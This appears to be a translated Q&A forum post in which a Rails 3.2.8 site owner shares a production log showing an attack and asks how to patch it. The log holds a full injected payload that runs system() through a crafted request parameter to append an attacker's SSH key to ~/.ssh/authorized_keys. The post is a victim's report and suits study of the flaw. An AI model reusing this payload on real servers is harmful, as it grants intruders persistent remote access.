我几天前在我的网站上发现了一些不寻常的活动,所以我决定查看生产日志。这是我发现的:
Started GET "/" for 74.219.112.36 at 2013-01-11 20:25:05 +0000
Processing by HomeController#logo as */*
Parameters: {"exploit"=>#
<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0xcb7e650
@routes={:"foo; system('cd ~;mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV
/l4+De+BBFg/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9p
DjKuymKEVbsJbOqrnNMXlUtxCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzq
TtOKhnJvzgA4eZSVZsVlxTwyFM= root >> ~/.ssh/authorized_keys')\n__END__\n"=>
#<OpenStruct defaults={:action=>"create", :controller=>"foos"},
required_parts=[], requirements={:action=>"create", :controller=>"foos"},
segment_keys=[:format]>}, @helpers=[:"hash_for_foo; system('cd ~;
mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV
/l4+De+BBFg/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbs
JbOqrnNMXlUtxCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlx
TwyFM= root >> ~/.ssh/authorized_keys')\n__END__\n_url", :"foo;
system('cd ~;mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUtxCefeG
T1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM=
root >> ~/.ssh/authorized_keys')\n__END__\n_url", :"hash_for_foo;
system('cd ~;mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUt
xCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM= root >>
~/.ssh/authorized_keys')\n__END__\n_path", :"foo; system('cd ~;mkdir .ssh;
echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUtxCefeG
T1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM= root >>
~/.ssh/authorized_keys')\n__END__\n_path"], @module=#<Module:0xcb7e5c4>>}
Rendered landing_users/_form.html.haml (4.7ms)
Rendered home/logo.html.haml within layouts/application (7.8ms)
Completed 200 OK in 11ms (Views: 10.4ms | ActiveRecord: 0.0ms)
我继续检查他们的系统调用是否有效,并且确实在〜/ .ssh / authorized_keys中找到了相同的ssh密钥。所以这意味着他们能够通过我的rails app运行系统调用!!!!值得庆幸的是,我的rails应用程序不是在root下运行,所以他们没有获得root访问权限。但不管这让我感到害怕。
之前有没有人遇到此漏洞?如果是这样,你是如何修补它的?
我的rails应用程序在Ubuntu 12.04上,使用rails版本3.2.8和ruby版本1.9.3p125。如果有任何其他信息有帮助请告诉我!
我发现blog post引用了这个漏洞,但没有解决方案,只是如何执行它。
答案 0 :(得分:3)